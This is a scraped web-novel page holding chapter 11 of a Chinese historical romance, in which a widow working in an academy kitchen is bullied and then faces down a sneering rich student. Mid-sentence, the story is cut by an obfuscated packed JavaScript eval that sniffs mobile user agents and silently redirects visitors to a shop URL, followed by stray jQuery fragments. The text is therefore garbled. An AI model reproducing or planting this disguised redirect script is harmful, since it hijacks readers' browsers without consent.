默认冷灰
24号文字
方正启体

11. 第十一章

作者:奶味桃酥本书字数:K更新时间:
    陈鸢没多想走了过去,奈何筐子沉重,竹筐边缘甚是粗糙,还在她掌心磨出几道浅浅的红痕,她费了好些力气才搬到井边,打水清理那些土芋。


    秋日里的井水冰凉刺骨,手触及到水便激得她打了个寒颤,才洗了几个手指不多时便冻得通红。


    陈鸢咬牙坚持咬牙坚持,一个个土芋洗净,又拿出小刀开始削皮。


    “赵婶,这么多的土芋,午膳他们吃得了吗?”周娘子忍不住问,那么多的土芋,堆得像座小山,哪怕做个土芋全宴,书院那么多的学子,也吃不完。


    “当然有用处。”赵婆子眼皮也不抬,坐在矮凳上择菜,冷哼道:“孙婆子离了书院,这些活计总不能没人做,既然有新来的顶了她的缺,这些活计自然该她做。”


    陈鸢心里明白这是给她下马威,她抿了抿唇手上的动作更快了些,小刀在她手中翻飞,土芋削下的皮整齐地落进脚边的木桶。


    在家时比这更累更繁琐的活她也做过,所以没什么受不住的,她才不要被他们小瞧。


    只是土芋太多,等她全部削完皮,已经错过了午膳最忙的时候。


    刘大娘从灶房出来,见她还在忙活,惊道:“你怎么还在这削土芋?这些活不急,你先去用饭吧,剩下的午后再做。”


    陈鸢应声站起身,双腿因久坐的有些久了而有些发麻,踉跄了一下才站稳。


    她跟着刘大娘到灶房的小屋用饭,书院的午膳简单,一人一碗饭一勺炖菜,她端着碗坐在灶房外的小凳上,刚扒了两口饭,隐约听到屋内传来的窃窃私语声。


    李娘子浅酌了口茶,笑道:“瞧她那细皮嫩肉的模样,哪里像是干惯粗活的,方才还好没让她动手,否则耽误书院的学生用饭,可就遭了。”


    周娘子低声说道:“她是如何来的?我从前未曾听说许秀才有个寡嫂。”


    李娘子将手指竖在唇边,轻声道:“嘘,咱们小声点,别让她听见,刘大娘说了,她是许秀才亲自托夫子安排进来的,可别乱嚼舌根。”


    “那又如何?咱们书院是什么地方,她丧了夫君的寡妇在这男人堆里进出,谁知是不是藏着龌龊心思。”赵婆子话说的声音极重,生怕外头的人听不见,又补充道:“莫不是深闺寂寞,想要在书院里寻个后路。”


    陈鸢握着筷子的手紧了紧,她深吸一口气,埋头把饭扒完,将碗筷洗净放好,又走到井边继续削皮,灶房里帮厨的多半是女子,也是些不好相与的,但她到这来也并非为着讨好她们,她只需要一份能安身立命的活计。


    她还从未切过这么多土芋,切得久了虎口处磨得生疼,一个不慎,锋利的尖刀划过指尖,顿时鲜血直流,她轻呼一声,丢掉手里的刀,捂着淌血的手指,殷红的血从指缝渗出,滴在土芋洁白的切片上。


    “快,舀点清水冲冲。”周娘子闻声过来,见状忙握住她手到井边清洗,又撕破衣角裹住她的伤处,转头对赵婆子说道:“赵婶,给她找点金疮药敷一下,再重新拿块布包扎一下吧。这伤口看着不浅。”


    赵婆子慢悠悠走过来,瞥了眼她的伤口,嗤道:“就一点小伤,也值得大惊小怪?你在家里灶房难道没被刀切过?这点苦都受不了,还来书院做什么工。”


    陈鸢疼得厉害,额上沁出细密的汗珠,后背的衣裳也湿了一片,明明只是个小伤口,却疼得她动弹不得,稍缓了些后,她咬着下唇:“我没事了,周娘子你快回去忙吧。”


    周娘子犹豫一瞬还是走开了。


    李娘子抱着水盆进来时,不知怎得忽然脚下一滑,水盆里的水直直朝陈鸢泼去。


    陈鸢躲闪不及,硬生生受下,半边身子都被泼湿了,挽好的长发被水洇湿,几缕湿发贴在她的脸颊上,水打湿衣衫紧贴在她身上,勾勒出女郎单薄的身形。


    “对不住对不住!”李娘子连声道歉,眼中却闪过一丝幸灾乐祸,“这灶房的地也太滑了,我没站稳,实在对不住啊。”


    刘娘子闻声赶过来,看到眼前的情形不觉皱了皱眉:“怎么这么不小心?丫头,你去后面换身干净衣裳。”


    陈鸢低头看了看湿透的衣裙,身形微微发颤,眼前的境况她只得应下。


    书院没有女郎能穿的衣裳,刘大娘便取了件男子穿的粗布衣裳给她。


    陈鸢换好这身不伦不类的衣裳重新走回来时,那几个娘子正凑在一起说笑,见她来了,立刻散开各自忙活,但眼神却时不时瞟向她。


    院中一片寂静,只余秋风掠过树叶的沙沙声。


    傍晚时分,适逢许闻璟下学的时辰,他正往灶房的方向走。


    忽耳畔听到熟悉的声音道:“许兄今日怎么往灶房走?”


    许闻璟旋身望去,见是几个同窗站在不远处,其中为首的少年似笑非笑的盯着他,他揖了一礼,“赵兄有什么事?”


    赵卿安淡声道:“没事就不能找许兄说话吗?”


    能进青山书院求学的学子皆非富即贵,赵卿安便是其中之一,他家境殷实本不该在这里求学,奈何林夫子极负名望才让他贵公子屈尊来这。


    许闻璟迎上那些探究的目光沉声道:“已经下学,我该回去了,赵兄若有要紧的事,不妨明日再说。”


    赵卿安抬手挡住他的去路,笑着问道:“许兄真是好福气,听闻有位贤惠的嫂子,不仅在家操持家务,还追到书院来照顾他,想必许兄适才是想去灶房瞧你那位寡嫂吧。”


    这话意有所指,且说得甚是暧昧,簇拥在他周围的几个学子都低声笑了起来。


    许闻璟面色平静不见丝毫波澜,眼神却冷的似淬了冰,“赵兄说笑,我家内宅的事,不劳赵兄费心。”


    赵卿安挑眉嗤道:“你们许家已经破落到需要寡嫂出来抛头露面挣银子了,若真是如此,何不与我说一声,我虽不如许兄满腹经纶通晓诗册,还是能帮衬一把同窗的。”


    许闻璟听着这刺耳的话,眉头越皱越紧,正僵持间,自他身后一道清浅温和的声音传来。


    “二郎,你怎么过来了。”


    陈鸢不知何时从灶房走了出来,她狐疑的看着外头的几人,站到许闻璟身边和他并肩而立。


    赵卿安不由得打量起面前的女郎,她穿着宽大的男子衣袍,且还是他们书院的男装,他拱手作揖,语气里却带着几分戏谑:“想必这位就是许兄的嫂嫂吧。”


    金灿的斜阳映衬着女郎苍白的小脸,陈鸢有些无措地站在许闻璟身侧,悄声问道:“这些都是你的同窗吧,他们怎么这个时辰寻你。”


    她瞧着三人皆穿着书院统一的青衫,只是赵卿安那身料子明显更考究,腰间还缀着块成色极好的玉佩,看着就是富贵子弟,像这样的人绝对不能招惹。


    许闻璟淡声道:“不是什么要紧的人,你不用放在心上”


    这话说的甚是平静,赵卿安闻言脸色微变,目光略带故意的在陈鸢身上打了个转,又落到许闻璟脸上,嗤笑一声道:“许兄这话可就见外了,我们好歹也与你同窗三载,不过我看嫂嫂跟着许兄,实在是委屈,只是不知许兄家中会是什么情形,寡嫂和小叔……”


    赵卿安话中的意味再明显不过,在那些心思龌龊的人看来,这足以编排出无数香艳话本。


    许闻璟袖中的手缓缓握紧,他自幼父母双亡,与兄长相依为命,兄长独自支撑门户如今兄长病故,他最恨旁人拿他的家事做文章。


    可此刻若发作,反倒只会让他更加挑衅。


    陈鸢站在许闻璟身后,看着他僵直的背脊,心中顿时了然,看样子面前的公子哥不怀好意。


    她迎上赵卿安的那道讥诮的眸光,“二郎你从未说过,你们书


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228870|197603||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    院的人有闲暇来说长道短,怎么像乡野村妇似的嚼舌根,我一个小寡妇倒是不懂了。”


    赵卿安脸色遽变,“你说什么?”


    陈鸢双手叉腰,摆出市井泼妇的架势,恶狠狠的瞪他:“我说你连女儿家都不如,有这会子嚼舌根,为何不去多读些书考功名,难道你只会逞口舌之快?”


    赵卿安被她的话噎住,一时不知如何应答,良久他道:“你个无知的蠢妇,有什么资格说我。”


    陈鸢一脸无辜的耸耸肩,“诚然我大字不识一个,万没有公子您这般饱读诗书,你为何要与我一个小妇人斤斤计较。”


    赵卿安脸色青一阵白一阵,亟欲捏碎手中紧握的折扇,“好个牙尖嘴利的娘子。”


    许闻璟面色微沉,上前半步,不着痕迹地将陈鸢挡在身后:“赵兄,诸位同窗,今日课业既毕,早些回斋舍歇息吧。”


    赵卿安并未做声,他咬牙切齿的怒视他们,随后带着另外两个学子走了回去。


    许闻璟侧目看向陈鸢,低声道:“你没事吧?”


    陈鸢心里正憋着气,恨恨的白了他一眼,“我能有什么事,快回家,我饿了。”


    两人默默地走在泥泞的路上,夕阳将两人的身影拉得修长。


    没多久他们走到了院门口,陈鸢下意识地抬手推门,也不慎露出那只受了伤的手。


    许闻璟敛眸紧盯着女郎裹着白布的手,吱呀一声门扉敞开,他们两人一起进了屋。


    他径直上前没有再顾忌那些迂腐的规矩,轻握住她的手腕,他看起来很瘦弱力道却很大。


    陈鸢还来不及反应,他已经擒住她的手腕。


    她无奈地只得任由他将她的手拉到身前,裹着伤口的布条已经渗出血迹,细白的腕处还有道道触目的红痕。


    许闻璟皱眉道:“怎会伤得这样重?”


    陈鸢垂下眼帘,莫名有些心虚不敢与他对视,低声道:“我初来乍到,还不熟练,所以吃了些苦。”


    许闻璟沉默半晌,显然不相信她的说辞,温声问道:“灶房的人,待你如何?”


    陈鸢心头一紧,忙道:“刘大娘待我很好其他人也是如此。。”


    许闻璟眸光沉了沉,却不再追问只道:“我去拿药。”


    “不用麻烦,这点小伤我会处理。”陈鸢的话未说完,许闻璟已经转身进屋,不多时便拿着一个小瓷瓶和干净的纱布出来。


    他搬了杌子坐下,示意她伸手。


    陈鸢犹豫了一下,还是在他面前坐下,嘴上仍然说道:“小伤而已,你不用大惊小怪。”


    许闻璟低头动作轻柔地为她拆开布条,伤处依旧渗血还有些红肿,他没有多想仔细的替她清洗伤口,敷上药粉,再取了干净的纱布重新包扎。


    良久他忽然张口道:“书院并非清净之地,你若受了委屈只管告诉我。”


    陈鸢微微颔首,忽然想起散学时瞧见的学子,她好奇问道:“今日你那位同窗,可有说什么闲话?”


    她瞧那人不是个善茬,两腰间坠的玉佩她估摸着得有个好几十银子,大抵是个富家公子,且看他的模样也是个难相与的人。


    许闻璟长指顿了顿,他若无其事的应道:“你不必理会那些,他们本就是那样的人。”


    陈鸢默了片刻道:“我是不是让你难堪了。”


    许闻璟淡声道:“没什么,平日他们也是那副样子,我已经习惯。”


    夜里陈鸢洗漱完早早躺在床榻上,临睡前她敷上了许闻璟给的金疮药,清凉的药膏涂抹在伤处疼痛瞬间减轻许多。


    窗外树影婆娑,陈鸢无端的想起赵婆子刻薄的眼神,还有李娘子的刁难,她只是想安分的待在书院做活计,却惹来那么多的麻烦,看来她得更加仔细些,莫叫他们抓住错处,让许家二郎难堪。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)